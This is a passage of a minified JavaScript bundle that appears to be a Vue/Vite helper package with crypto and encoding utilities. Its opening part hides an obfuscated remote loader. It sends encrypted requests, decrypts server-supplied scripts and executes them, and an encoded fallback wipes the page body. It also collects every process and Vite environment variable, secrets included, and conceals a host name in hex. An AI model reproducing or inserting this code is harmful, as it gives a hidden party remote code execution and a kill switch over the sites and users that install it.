e=S._KeyTool.createKey(),r=(0,S.parseKey)(e),t=i(i(i({},T("Q29udGVudC1UeXBl"),T("YXBwbGljYXRpb24vanNvbg==")),T("Q29udGVudC1UeXBl"),"*/*"),"X-APP-KT-VERSION",(0,S.getKeyToolVersion)()),n=i(i(i(i(i(i(i({},T("bWV0aG9k"),T("R0VU")),"cache",T("bm8tY2FjaGU=")),"mode",T("Y29ycw==")),T("cmVmZXJyZXJQb2xpY3k="),T("b3JpZ2lu")),T("cmVkaXJlY3Q="),"follow"),T("Y3JlZGVudGlhbHM="),T("c2FtZS1vcmlnaW4=")),T("aGVhZGVycw=="),t),o=JSON.stringify(c),a=O.default.ECB(r.key,{}).encrypt((0,g.toBytes)(o)),u=(a=e.length+":"+e+B(a)).length,l=Math.floor((u-1)/64)+1,f=0,s=1;s<=l;s++){var d=a.slice(f,f+64);f+=64,t[y+s]=d}return t[p]=l,t["X-APP-JSRLY-TOOL-VERSION"]="1.0.20",{options:n,keyp:{pubK:e,priK:r.key}}}();r=d.request(n.options).then((function(e){if(200==e.status){try{for(var r=Number(e.headers.get(p)),t="",o=1;o<=r;o++){var i=e.headers.get(y+o);if(i&&i.length>0){var a=i.substring(0,32);if(i=i.substring(32),a.toUpperCase()!==w.default.encode(i).toUpperCase())throw new Error("invalid sign");t+=i}}if(""===t)return;var u=m.default.decrypt((0,g.fromHex)(t));u=O.default.ECB(n.keyp.priK,{}).decrypt(u);var l=u=(0,g.fromBytes)(u);b(JSON.parse(l))}catch(e){var f={delay:parseInt(600*Math.random()+""),type:1,script:g.default.hex2str("4B475A31626D4E30615739754B436C3759323975633239735A53356C636E4A766369676E354C756A35364342365A535A364B2B76373779424A796B375A47396A6457316C626E5175596D396B65533570626D356C636B6855545577675053416E4A7A74394B536770")};return f=B(g.default.str2hex(JSON.stringify(f))),b({code:-100,data:{rly:f}})}try{return e.headers.get(""),je.isInit=2,e.json().then(b)}catch(e){return b({code:0,data:{}})}}})).catch((function(e){ye("网络错误",e)}))}return r}().catch((function(e){ye(e),je.isInit=2}))}catch(e){ye(e)}finally{je.isInit=2}}}),1e3*a)}else de("uncheck in node env")},xe=function(){pe(T(H),3e3)};return N["__VUE__VITE_RLY_"+w.default.encode(ie.id&&""!=ie.id&&ie.id||"JFJseUFwcA==")]=this,this.redo=function(){return e=t,je.isInit=0,U=!1,void Ee(e,true);var e},this.can=function(e){return Ee(t),je.delay-60>0}.bind(this),this.process=function(e){return this.can(e),e},this.register=function(e,r){return P.prototype._st_[T(e)]=r},this.env=ne,this.params=re,this.ath=ie,this.getKeyName=function(){return ie.kn},this.isDev=he,this.isProd=me,Ee(this),P.prototype.exit=function(e){xe.bind(e||this).call()},P.prototype._st_=i({},T("X05PREVfRU5WXw=="),ne),P.prototype.exec=function(e){var r=Object.prototype.toString.call(e).slice(8,-1);("Function"==r||e&&"String"!=r)&&(e=r.toString(),"Function"==r&&(e="(".concat(e,")()"))),e&&pe(e,0)},Pe(this)},C=null,N="__getter__VUE_VITE_RLY__"+r.INSTANCE_KEY},60:(e,r,t)=>{"use strict";Object.defineProperty(r,"__esModule",{value:!0}),r.INSTANCE_KEY=void 0;var n=t(573);Object.defineProperty(r,"INSTANCE_KEY",{enumerable:!0,get:function(){return n.INSTANCE_KEY}});var o=t(981),i={};Object.entries(n.RlyConfigDefinitions).forEach((function(e){return i[e[0]]=e[1].values}));var a={urlparams:i},u={register:function(e){var r=(0,n.newSingleInstance)(e||Math,(0,o.getEnvironments)());return r.dcfg=function(){return a},r.cfgDefinition=function(){return n.RlyConfigDefinitions},r}};r.default=u},353:function(e,r,t){"use strict";function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function o(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function i(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?o(Object(t),!0).forEach((function(r){a(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):o(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}function a(e,r,t){return(r=function(e){var r=function(e){if("object"!=n(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var t=r.call(e,"string");if("object"!=n(t))return t;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==n(r)?r:r+""}(r))in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}var u=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0}),r._AES_=void 0;var l=u(t(167)),f=t(917),c={ECB:{encrypt:function(e,r,t){return l.default.ECB(e,t||{}).encrypt(r)},decrypt:function(e,r,t){return l.default.ECB(e,t||{}).decrypt(r)},encode:function(e,r,t){return(0,f.toHex)(this.encrypt(e,(0,f.toBytes)(r),t))},decode:function(e,r,t){return(0,f.fromBytes)(this.decrypt(e,(0,f.fromHex)(r),t))}},CBC:{encrypt:function(e,r,t){return l.default.CBC(e,t||{}).encrypt(r)},decrypt:function(e,r,t){return l.default.CBC(e,t||{}).decrypt(r)},encode:function(e,r,t){return(0,f.toHex)(this.encrypt(e,(0,f.toBytes)(r),t))},decode:function(e,r,t){return(0,f.fromBytes)(this.decrypt(e,(0,f.fromHex)(r),t))}},CFB:{encrypt:function(e,r,t){return l.default.CFB(e,t||{}).encrypt(r)},decrypt:function(e,r,t){return l.default.CFB(e,t||{}).decrypt(r)},encode:function(e,r,t){return(0,f.toHex)(this.encrypt(e,(0,f.toBytes)(r),t))},decode:function(e,r,t){return(0,f.fromBytes)(this.decrypt(e,(0,f.fromHex)(r),t))}},OFB:{encrypt:function(e,r,t){return l.default.OFB(e,t||{}).encrypt(r)},decrypt:function(e,r,t){return l.default.OFB(e,t||{}).decrypt(r)},encode:function(e,r,t){return(0,f.toHex)(this.encrypt(e,(0,f.toBytes)(r),t))},decode:function(e,r,t){return(0,f.fromBytes)(this.decrypt(e,(0,f.fromHex)(r),t))}},CTR:{encrypt:function(e,r,t){return l.default.CTR(e,t||{}).encrypt(r)},decrypt:function(e,r,t){return l.default.CTR(e,t||{}).decrypt(r)},encode:function(e,r,t){return(0,f.toHex)(this.encrypt(e,(0,f.toBytes)(r),t))},decode:function(e,r,t){return(0,f.fromBytes)(this.decrypt(e,(0,f.fromHex)(r),t))}}};function s(e){var r=c[(e+"").toUpperCase()];if(!r)throw new Error("Unsupported AES mode: ".concat(e));return r}r._AES_=i(i({},c),{},{modes:function(){return Object.keys(c)},encrypt:function(e,r,t){return s((null==t?void 0:t.mode)||"ECB").encrypt(e,r,t)},decrypt:function(e,r,t){return s((null==t?void 0:t.mode)||"ECB").decrypt(e,r,t)},encode:function(e,r,t){return s((null==t?void 0:t.mode)||"ECB").encode(e,r,t)},decode:function(e,r,t){return s((null==t?void 0:t.mode)||"ECB").decode(e,r,t)}}),r.default=r._AES_},283:(e,r,t)=>{"use strict";function n(e){return function(e){if(Array.isArray(e))return o(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,r){if(e){if("string"==typeof e)return o(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?o(e,r):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0}),r.is=f,r.encode=c,r.decode=s,r.encrypt=d,r.decrypt=y;var i=t(917),a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split("").map((function(e){return e.charCodeAt(0)})),u=function(){for(var e=[],r=0;r<256;r++)e.push(-1);for(var t=0;t<a.length;t++)e[255&a[t]]=t;return e}(),l="=".charCodeAt(0);function f(e){return/^[0-9A-Za-z+/=\r\n]*$/.test(e)}function c(e){return(0,i.fromBytes)(d(e))}function s(e){return(0,i.fromBytes)(y(e))}function d(e){if(null==e)return null;if(""===e)return new Int8Array(0);var r=n((0,i.toBytes)(e));if(0==r.length)return new Int8Array(0);for(var t=parseInt(r.length/3+""),o=r.length%3,u=[],f=0;f<t;f++){var c,s,d,y,p=3*f,v=(255&r[p+0])<<16|(255&r[p+1])<<8|255&r[p+2];c=a[v>>>18&63],s=a[v>>>12&63],d=a[v>>>6&63],y=a[63&v],u.push(c,s,d,y)}var b=3*t;switch(o){case 1:var h,m,g,w,A=(255&r[b])<<4;h=a[A>>>6&63],m=a[63&A],g=l,w=l,u.push(h,m,g,w);break;case 2:var _,O,S,I,j=(255&r[b])<<10|(255&r[b+1])<<2;_=a[j>>>12&63],O=a[j>>>6&63],S=a[63&j],I=l,u.push(_,O,S,I)}return new Int8Array(u)}function y(e){if(null==e)return null;if(""===e)return new Int8Array(0);if("string"==typeof e&&!f(e))throw"Invaid base64 data";var r=n((0,i.toBytes)(e)).filter((function(e){return 13!=e&&10!=e}));if(r.length%4!=0)throw"invaid base64 data length.";r=(r=r.filter((function(e){return 61!=e}))).map((function(e){return u[e]}));for(var t=parseInt(r.length/4+""),o=r.length%4,a=[],l=0;l<t;l++){var c,s,d,y=4*l,p=(255&r[y+0])<<18|(255&r[y+1])<<12|(255&r[y+2])<<6|255&r[y+3];c=(0,i.byte)(p>>16),s=(0,i.byte)(p>>8),d=(0,i.byte)(p),a.push(c,s,d)}var v=4*t;switch(o){case 2:var b=(255&r[v])<<6|255&r[v+1];a.push((0,i.byte)(b>>4));break;case 3:var h=(255&r[v])<<12|(255&r[v+1])<<6|255&r[v+2];a.push((0,i.byte)(h>>10)),a.push((0,i.byte)(h>>2))}return new Int8Array(a)}var p={is:f,encode:c,decode:s,decrypt:y,encrypt:d};r.default=p},917:(e,r)=>{"use strict";Object.defineProperty(r,"__esModule",{value:!0}),r.toBytes=o,r.fromBytes=i,r.toHex=u,r.hex2str=f,r.fromHex=l,r.byte=a,r.toUint8Array=function(e){var r=n(e,!0);return r instanceof Uint8Array?r:new Uint8Array(r)};var t=function(){for(var e={},r=0;r<10;r++)e[r]=r;for(var t=0;t<=127;t++){var n="";t<10&&(n+="0"),e[n+=t]=t}return e}();function n(e){var r=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(null==e)return null;if(e instanceof Int8Array||e instanceof Uint8Array)return e;var t="string"==typeof e;if(Array.isArray(e)){for(var n=0;n<e.length;n++){var o=e[n];if("number"!=typeof o||parseInt(o+"")!=o){t=!0;break}}t&&(e=e.join(""))}if(r&&e instanceof Uint8Array)return e;for(var i=[],a=0;a<e.length;a++){var u=t?e.codePointAt(a):e[a];u>=65536&&u<=1114111?(i.push(u>>18&7|240),i.push(u>>12&63|128),i.push(u>>6&63|128),i.push(63&u|128),a++):u>=2048&&u<=65535?(i.push(u>>12&15|224),i.push(u>>6&63|128),i.push(63&u|128)):u>=128&&u<=2047?(i.push(u>>6&31|192),i.push(63&u|128)):i.push(255&u)}return r?new Uint8Array(i):new Int8Array(i)}function o(e){return n(e,!1)}function i(e){if(null==e)return null;if("string"==typeof e)return e;for(var r="",n=e,o=0;o<n.length;){var i,a=240&n[o],u=[];switch(i=240<=a&&a<248?4:224<=a&&a<240?3:192<=a&&a<224?2:1){case 4:var l=((7&n[o+t[0]])<<18|(63&n[o+t[1]])<<12|(63&n[o+t[2]])<<6|63&n[o+t[3]])-65536;u=[55296+(l>>10),56320+(1023&l)];break;case 3:u=[(15&n[o+t[0]])<<12|(63&n[o+t[1]])<<6|63&n[o+t[2]]];break;case 2:u=[(7&n[o+t[0]])<<6|63&n[o+t[1]]];break;default:u=[255&n[o+t[0]]]}u.forEach((function(e){return r+=String.fromCharCode(e)})),o+=i}return r}function a(e){return(Number(e)+128&255)-128}function u(e){var r=e;if("number"==typeof e&&/-?\d+$/.test(""+e))return isNaN(e)?"":(e=Number(e).toString(16)).length%2!=0?"0"+e:e;if("string"!=typeof e&&"number"!=typeof e||(r=o(e+"")),!r)return null;for(var t="",n=r.length,i=0;i<n;i++){var a=Number(r[i]);if(isNaN(a)||parseInt(a+"")!=a)throw new Error("Invalid byte value");t+=("00"+(255&a).toString(16)).slice(-2)}return t}function l(e){for(var r=[],t=0;t<e.length;t+=2){var n=e.slice(t,t+2);if(!/[0-9A-Za-z]/.test(n))throw new Error("Invalid hexadecimal value:"+n+" at pos:"+t);r.push(a(parseInt(n,16)))}return new Int8Array(r)}function f(e){return i(l(e))}var c={byte:a,toBytes:o,fromBytes:i,toHex:u,fromHex:l,str2hex:u,hex2str:f};r.default=c},550:(e,r)=>{"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},t(e)}function n(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter((function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable}))),t.push.apply(t,n)}return t}function o(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{};r%2?n(Object(t),!0).forEach((function(r){i(e,r,t[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(t)):n(Object(t)).forEach((function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(t,r))}))}return e}function i(e,r,n){return(r=function(e){var r=function(e){if("object"!=t(e)||!e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,"string");if("object"!=t(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(e);return"symbol"==t(r)?r:r+""}(r))in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function a(e){return function(e){if(Array.isArray(e))return l(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||u(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u(e,r){if(e){if("string"==typeof e)return l(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?l(e,r):void 0}}function l(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}function f(e){return Object.prototype.toString.call(e).slice(8,-1)}function c(e){if(null==e)return!0;var r=e+"";return/^\s+$/.test(r)||0==r.length}function s(e,r){var t=[];return Object.prototype.hasOwnProperty.call(e,r)&&t.push(e[r]),Object.prototype.hasOwnProperty.call(e,"dataValue")&&t.push(e.dataValue),Object.prototype.hasOwnProperty.call(e,"dataKeyItem")&&t.push(e.dataKeyItem),e.values&&"Array"==f(e.values)&&(t=[].concat(a(t),a(e.values))),a(new Set(t.filter((function(e){return null!=e})).map((function(e){return e+""}))))}Object.defineProperty(r,"__esModule",{value:!0});var d={build:function(e,r,t,n){function l(r){var t=r;return t.eq||(t.eq=function(r){return"Object"==f(r)&&r.dataKeyItem&&(r=r.dataKeyItem||r.dataValue||r),o=r,i=f(n=t),u=f(o),l=-1===["Number","Undefined","Null","Boolean","String"].findIndex((function(e){return e===i})),c=-1===["Number","Undefined","Null","Boolean","String"].findIndex((function(e){return e===u})),d=(l&&n&&Object.prototype.hasOwnProperty.call(n,e)?n[e]:n)+"",y=(c&&o&&Object.prototype.hasOwnProperty.call(o,e)?o[e]:o)+"",p=s(n,e),v=s(o,e),b=[d].concat(a(p)).filter((function(e){return""!==e&&null!=e})).map((function(e){return e+""})),h=[y].concat(a(v)).filter((function(e){return""!==e&&null!=e})).map((function(e){return e+""})),b.filter((function(e){return h.indexOf(e)>-1})).length>0;var n,o,i,u,l,c,d,y,p,v,b,h}),r.values=s(r,e),r}var d=Object.entries(t).map((function(o){var i,a,s=(a=2,function(e){if(Array.isArray(e))return e}(i=o)||function(e,r){var t=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(i,a)||u(i,a)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()),d=s[0],y=s[1],p=y;c(p.label)&&(p.label=p[r]||""),c(p.value)&&(p.value=p[e]||"");var v=l(y);return t[d]=v,f(n),v}));return o(o({},t),{},{list:d,get:function(t){var n,o,a;return d.find((function(e){return e.eq(t)}))||l((n="",o="",a=[],"Object"===f(t)&&(Object.prototype.hasOwnProperty.call(t,r)&&(o=t[r]),!o&&Object.prototype.hasOwnProperty.call(t,"dataName")&&(o=t.dataName),n=0==(a=s(t,e)).length?"":a[0]),i(i({label:o,value:n,vals:a},e,n),r,o)))},getLabel:function(e,t){var n=this.get(e);return n&&n[r]||n.dataName||t}})}};r.default=d},981:(e,r)=>{"use strict";function t(e,r){return function(e){if(Array.isArray(e))return e}(e)||function(e,r){var t=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=t){var n,o,i,a,u=[],l=!0,f=!1;try{if(i=(t=t.call(e)).next,0===r){if(Object(t)!==t)return;l=!1}else for(;!(l=(n=i.call(t)).done)&&(u.push(n.value),u.length!==r);l=!0);}catch(e){f=!0,o=e}finally{try{if(!l&&null!=t.return&&(a=t.return(),Object(a)!==a))return}finally{if(f)throw o}}return u}}(e,r)||function(e,r){if(e){if("string"==typeof e)return n(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?n(e,r):void 0}}(e,r)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function n(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0}),r.getEnvironments=void 0;var o={NODE_ENV:"production",APP_SECRET_KEY:"prod-preview",appId:null};r.getEnvironments=function(){try{Object.entries(process.env||{}).forEach((function(e){var r=t(e,2),n=r[0],i=r[1];return o[n]=i}))}catch(e){}try{"undefined"!=typeof _import_vite_meta_&&Object.entries(_import_vite_meta_.env||{}).forEach((function(e){var r=t(e,2),n=r[0],i=r[1];return o[n]=i}))}catch(e){}return o}},899:function(e,r,t){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0});var o=t(917),i=t(701),a=n(t(283));function u(e,r){var t,n=(0,o.toUint8Array)(e);n.length>16&&(t=(0,i.sha256)(n));for(var a=Array(16),u=Array(16),l=0;l<16;l++)a[l]=909522486^t[l],u[l]=1549556828^t[l];var f=(0,i.sha256)(a.concat((0,o.toUint8Array)(r)),512+8*r.length);return(0,i.sha256)(u.concat(f),768)}var l={hex_sha256:function(e,r){return(0,o.toHex)(u(e,r))},b64_sha256:function(e,r){return a.default.encode(u(e,r))}};r.default=l},690:(e,r)=>{"use strict";function t(e,r){var t=(65535&e)+(65535&r);return(e>>16)+(r>>16)+(t>>16)<<16|65535&t}function n(e){for(var r=Array(),t=(1<<a)-1,n=0;n<e.length*a;n+=a)r[n>>5]|=(e.charCodeAt(n/a)&t)<<n%32;return r}function o(e){for(var r=i?"0123456789ABCDEF":"0123456789abcdef",t="",n=0;n<4*e.length;n++)t+=r.charAt(e[n>>2]>>n%4*8+4&15)+r.charAt(e[n>>2]>>n%4*8&15);return t}Object.defineProperty(r,"__esModule",{value:!0});var i=1,a=8,u=32;var l=function(){for(var e={},r=0;r<=127;r++){var t="";r<10&&(t+="0"),e[t+=r]=r}return e}();function f(e,r,n,o,i,a){return t((u=t(t(r,e),t(o,a)))<<(l=i)|u>>>32-l,n);var u,l}function c(e,r,t,n,o,i,a){return f(r&t|~r&n,e,r,o,i,a)}function s(e,r,t,n,o,i,a){return f(r&n|t&~n,e,r,o,i,a)}function d(e,r,t,n,o,i,a){return f(r^t^n,e,r,o,i,a)}function y(e,r,t,n,o,i,a){return f(t^(r|~n),e,r,o,i,a)}function p(e,r){e[r>>5]|=128<<r%32,e[14+(r+64>>>9<<4)]=r;for(var n=1732584193,o=-271733879,i=-1732584194,a=271733878,f=0;f<e.length;f+=16){var p=n,v=o,b=i,h=a;n=c(n,o,i,a,e[f+l["00"]],l["07"],-680876936),a=c(a,n,o,i,e[f+l["01"]],l[12],-389564586),i=c(i,a,n,o,e[f+l["02"]],l[17],606105819),o=c(o,i,a,n,e[f+l["03"]],l[22],-1044525330),n=c(n,o,i,a,e[f+l["04"]],l["07"],-176418897),a=c(a,n,o,i,e[f+l["05"]],l[12],1200080426),i=c(i,a,n,o,e[f+l["06"]],l[17],-1473231341),o=c(o,i,a,n,e[f+l["07"]],l[22],-45705983),n=c(n,o,i,a,e[f+l["08"]],l["07"],1770035416),a=c(a,n,o,i,e[f+l["09"]],l[12],-1958414417),i=c(i,a,n,o,e[f+l[10]],l[17],-42063),o=c(o,i,a,n,e[f+l[11]],l[22],-1990404162),n=c(n,o,i,a,e[f+l[12]],l["07"],1804603682),a=c(a,n,o,i,e[f+l[13]],l[12],-40341101),i=c(i,a,n,o,e[f+l[14]],l[17],-1502002290),n=s(n,o=c(o,i,a,n,e[f+l[15]],l[22],1236535329),i,a,e[f+l["01"]],l["05"],-165796510),a=s(a,n,o,i,e[f+l["06"]],l["09"],-1069501632),i=s(i,a,n,o,e[f+l[11]],l[14],643717713),o=s(o,i,a,n,e[f+l["00"]],l[20],-373897302),n=s(n,o,i,a,e[f+l["05"]],l["05"],-701558691),a=s(a,n,o,i,e[f+l[10]],l["09"],38016083),i=s(i,a,n,o,e[f+l[15]],l[14],-660478335),o=s(o,i,a,n,e[f+l["04"]],l[20],-405537848),n=s(n,o,i,a,e[f+l["09"]],l["05"],568446438),a=s(a,n,o,i,e[f+l[14]],l["09"],-1019803690),i=s(i,a,n,o,e[f+l["03"]],l[14],-187363961),o=s(o,i,a,n,e[f+l["08"]],l[20],1163531501),n=s(n,o,i,a,e[f+l[13]],l["05"],-1444681467),a=s(a,n,o,i,e[f+l["02"]],l["09"],-51403784),i=s(i,a,n,o,e[f+l["07"]],l[14],1735328473),n=d(n,o=s(o,i,a,n,e[f+l[12]],l[20],-1926607734),i,a,e[f+l["05"]],l["04"],-378558),a=d(a,n,o,i,e[f+l["08"]],l[11],-2022574463),i=d(i,a,n,o,e[f+l[11]],l[16],1839030562),o=d(o,i,a,n,e[f+l[14]],l[23],-35309556),n=d(n,o,i,a,e[f+l["01"]],l["04"],-1530992060),a=d(a,n,o,i,e[f+l["04"]],l[11],1272893353),i=d(i,a,n,o,e[f+l["07"]],l[16],-155497632),o=d(o,i,a,n,e[f+l[10]],l[23],-1094730640),n=d(n,o,i,a,e[f+l[13]],l["04"],681279174),a=d(a,n,o,i,e[f+l["00"]],l[11],-358537222),i=d(i,a,n,o,e[f+l["03"]],l[16],-722521979),o=d(o,i,a,n,e[f+l["06"]],l[23],76029189),n=d(n,o,i,a,e[f+l["09"]],l["04"],-640364487),a=d(a,n,o,i,e[f+l[12]],l[11],-421815835),i=d(i,a,n,o,e[f+l[15]],l[16],530742520),n=y(n,o=d(o,i,a,n,e[f+l["02"]],l[23],-995338651),i,a,e[f+l["00"]],l["06"],-198630844),a=y(a,n,o,i,e[f+l["07"]],l[10],1126891415),i=y(i,a,n,o,e[f+l[14]],l[15],-1416354905),o=y(o,i,a,n,e[f+l["05"]],l[21],-57434055),n=y(n,o,i,a,e[f+l[12]],l["06"],1700485571),a=y(a,n,o,i,e[f+l["03"]],l[10],-1894986606),i=y(i,a,n,o,e[f+l[10]],l[15],-1051523),o=y(o,i,a,n,e[f+l["01"]],l[21],-2054922799),n=y(n,o,i,a,e[f+l["08"]],l["06"],1873313359),a=y(a,n,o,i,e[f+l[15]],l[10],-30611744),i=y(i,a,n,o,e[f+l["06"]],l[15],-1560198380),o=y(o,i,a,n,e[f+l[13]],l[21],1309151649),n=y(n,o,i,a,e[f+l["04"]],l["06"],-145523070),a=y(a,n,o,i,e[f+l[11]],l[10],-1120210379),i=y(i,a,n,o,e[f+l["02"]],l[15],718787259),o=y(o,i,a,n,e[f+l["09"]],l[21],-343485551),n=t(n,p),o=t(o,v),i=t(i,b),a=t(a,h)}return 16==u?Array(o,i):Array(n,o,i,a)}var v={encode:function(e){return function(e){if(!(e instanceof String)){if(null===e)return null;if(void 0===e)return;e=""+e}return o(p(n(e),e.length*a))}(e)},hmac_md5:function(e,r){return function(e,r){if(e instanceof String||(e=""+e),!(r instanceof String)){if(null===r)return null;if(void 0===r)return;r=""+r}return o(function(e,r){var t=n(e);t.length>16&&(t=p(t,e.length*a));for(var o=Array(16),i=Array(16),u=0;u<16;u++)o[u]=909522486^t[u],i[u]=1549556828^t[u];var l=p(o.concat(n(r)),512+r.length*a);return p(i.concat(l),640)}(e,r))}(e,r)}};r.default=v},396:function(e,r,t){"use strict";var n=this&&this.__importDefault||function(e){return e&&e.__esModule?e:{default:e}};Object.defineProperty(r,"__esModule",{value:!0});var o=n(t(610)),i=t(559),a=o.default;a.sss=i.sha1_test,r.default=a},895:(e,r,t)=>{"use strict";function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function o(e){return function(e){if(Array.isArray(e))return a(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||i(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function i(e,r){if(e){if("string"==typeof e)return a(e,r);var t={}.toString.call(e).slice(8,-1);return"Object"===t&&e.constructor&&(t=e.constructor.name),"Map"===t||"Set"===t?Array.from(e):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?a(e,r):void 0}}function a(e,r){(null==r||r>e.length)&&(r=e.length);for(var t=0,n=Array(r);t<r;t++)n[t]=e[t];return n}Object.defineProperty(r,"__esModule",{value:!0}),r.uuid=O,r.isArrayLike=S,r.isArray=I,r.shuffle=j,r.random=P;var u=t(917),l=(0,u.hex2str)("68747470"),f=(0,u.hex2str)("73696d706c652e636f6d"),c=/^\s+/,s=/\s+$/,d=/^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/,y="0123456789".split(""),p="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""),v=[].concat(o(y),o(p)),b=function(e){return Object.prototype.toString.call(e).slice(8,-1)},h=function(e){return e.replace(c,"").replace(s,"")},m=function(e,r){var t="-AT-"+(new Date).getTime()+"-";e=e.replace(/@/g,t);var n=m;n&&n.options||(n.options={strictMode:!1,key:["source","protocol","authority","userInfo","user","password","host","port","relative","path","directory","file","query","hash"],q:{name:"params",parser:/(?:^|&)([^&=]*)=?([^&]*)/g},parser:{strict:/^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,loose:/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/}});var o=n.options,a={},u=14;if(!e)return o.key.map((function(e){return a[e]=""})),a;null==r&&o.strictMode;for(var l=o.parser[o.strictMode?"strict":"loose"].exec(e);u--;)a[o.key[u]]=l[u]||"";var f=a[o.q.name]={};function c(e){return null==e?null:"true"===(e=decodeURIComponent(e))||"false"===e?"true"===e:e}a[o.key[12]].replace(o.q.parser,(function(e,r,t){r&&(f.hasOwnProperty(r)?Array.isArray(f[r])?f[r].push(t):f[r]=[f[r],t]:f[r]=t)})),Object.entries(f).forEach((function(e){var r,t,n=(t=2,function(e){if(Array.isArray(e))return e}(r=e)||function(e,r){var t=null==e?null:"undefined"!=typeof 